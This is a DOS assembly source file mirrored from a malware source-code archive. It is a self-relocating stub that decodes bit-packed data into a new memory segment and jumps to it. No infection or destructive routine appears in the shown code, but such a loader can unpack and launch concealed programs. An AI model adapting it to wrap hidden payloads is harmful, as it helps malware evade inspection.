mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-21 02:46:10 +00:00
106 lines
2.1 KiB
NASM
106 lines
2.1 KiB
NASM
code segment
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assume cs:code, ds:code
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org 100h
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asc2 equ asc + 128
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prog:
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mov ax,cs
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add ax,1000h
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mov es,ax
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mov si,0100h
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mov di,si
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mov cx,5000h
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rep movsb
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mov word ptr [next+2],es
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jmp dword ptr [next]
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next db 1dh,1,0,0
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part2:
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push ds
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pop es
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push cs
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pop ds
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mov di,offset asc + 128
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sub bx,bx
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k10: mov [bx][di],bl
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inc bl
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jnz k10
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mov si,offset asc
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k20: mov bl,[si]
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mov byte ptr [bx][di],0
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inc si
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cmp si,di
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jne k20
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dec di
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mov cx,128
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k30: inc di
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cmp byte ptr [di],0
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je k30
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mov al,[di]
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mov [si],al
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inc si
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loop k30
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mov bx,50ffh
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mov di,bx
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mov cl,0
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l10: mov ah,[di]
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mov al,[di-1]
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mov si,ax
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sub ax,ax
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mov dl,6
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shl si,cl
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mov ch,cl
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mov cl,12
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shl si,1
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jnc l20
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mov al,64
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dec cx
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dec cx
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inc dx
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inc dx
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shl si,1
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jnc l30
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shl ax,1
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dec cx
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inc dx
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jmp short l30
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l20: shl si,1
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jnc l30
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inc dx
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mov al,16
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shl si,1
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jnc l30
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shl ax,1
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dec cx
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inc dx
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l30: shr si,cl
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add si,ax
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mov al,asc[si]
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mov es:[bx],al
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mov cl,dl
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add cl,ch
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l40: cmp cl,8
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jc l50
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sub cl,8
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dec di
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jmp short l40
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l50: dec bx
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cmp bx,00ffh
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jne l10
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mov [next],0
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mov word ptr [next+2],es
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jmp dword ptr [next]
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asc db ?
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last label byte
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code ends
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end prog
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